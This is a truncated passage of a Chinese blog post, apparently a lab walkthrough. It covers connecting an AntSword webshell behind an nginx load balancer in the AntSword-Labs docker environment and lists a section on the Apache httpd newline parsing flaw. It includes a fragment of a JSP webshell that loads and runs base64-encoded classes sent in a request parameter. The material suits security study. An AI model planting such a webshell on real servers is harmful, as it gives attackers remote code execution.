负载均衡下的webshell连接+apachehttpd换行解析漏洞

目录

一.反向代理负载均衡

二. 环境搭建

2.1默认的「轮询」方式来做演示。

2.2启动环境(docker)

​编辑 2.3在蚁剑中添加shell

三.在反向代理情况下实现负载均衡上传webshell的难点

3.1我们需要在每一台节点的相同位置都上传相同内容的 WebShell

3.2执行命令时,无法知道下此的请求交给那台服务器执行 

 3.3上传工具不完整

3.4 目标机器不能出外网

四.解决方案

4.1 关掉一台机器

4.2在执行前判断IP(执行前判断要不要执行) 

4.3在web层做一次流量转发(完美)

五.Apache httpd换行解析漏洞

5.1编译运行漏洞环境

5.2上传一个名为1.php的文件,打开代理拦截

5.3发送到repeater模块,点击go发现文件上传失败

 5.4在1.php后面添加换行符\x0A

 5.5发现上传成功


一.反向代理负载均衡

反向代理方式其中比较流行的方式是用 nginx 来做负载均衡,实现负载均衡的方式有很多种,比如 DNS 方式、HTTP 重定向方式、IP 负载均衡方式、反向代理方式等等。

nginx常见策略: 

 url_hash和ip_hash只要IP和url地址不变,命中的服务器不会改变,可以保持长链接

二. 环境搭建

2.1默认的「轮询」方式来做演示。

github环境自取:https://github.com/AntSwordProject/AntSword-Labs

将文件下载下来上传至虚拟机中 

 nginx服务器反向代理到两个tomact服务器

Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的 ,我们只能通过 nginx 这台机器访问,配置如下

2.2启动环境(docker)

[root@2023 AntSword-Labs-master]# ls -al
[root@2023 AntSword-Labs-master]# cd loadbalance
[root@2023 loadbalance]# cd loadbalance-jsp        //切换到老大balance目录
[root@2023 loadbalance-jsp]# systemctl start docker   //启动docker
[root@2023 loadbalance-jsp]# docker-compose up -d     //环境搭建
[root@2023 loadbalance-jsp]# docker ps -a             //查看
CONTAINER ID        IMAGE                      COMMAND                  CREATED             STATUS                      PORTS                               NAMES
525a0cc657a5        nginx:1.17                 "nginx -g 'daemon of…"   11 seconds ago      Up 10 seconds               0.0.0.0:18080->80/tcp               loadbalance-jsp_nginx_1
9ff245f052e6        loadbalance-jsp_lbsnode1   "catalina.sh run"        11 seconds ago      Up 11 seconds               8080/tcp                            loadbalance-jsp_lbsnode1_1
cc168aa146ea        loadbalance-jsp_lbsnode2   "catalina.sh run"        11 seconds ago      Up 11 seconds               8080/tcp                            loadbalance-jsp_lbsnode2_1
一个nginx服务器加两个tomacat服务器




 发现端口是18080,在本地访问,出现一下画面表示搭建成功

 2.3在蚁剑中添加shell

假设存在rce漏洞,类似于远程命令执行,可以让我们获取webshell,两台tamocat服务器上都存在ant.jsp,密码为ant,做负载均衡时,两个后端服务器代码是一致的

fineClass(b,0,b.length); }}%><% String cls=request.getParameter("ant");if(cls!=null){ new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>

 

 

三.在反向代理情况下实现负载均衡上传webshell的难点

3.1我们需要在每一台节点的相同位置都上传相同内容的 WebShell

轮询方式,按顺序上传,我们需要多上传几次,保证每一台后端服务器都可以上传到webshell,一旦有一台机器上没有࿰

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值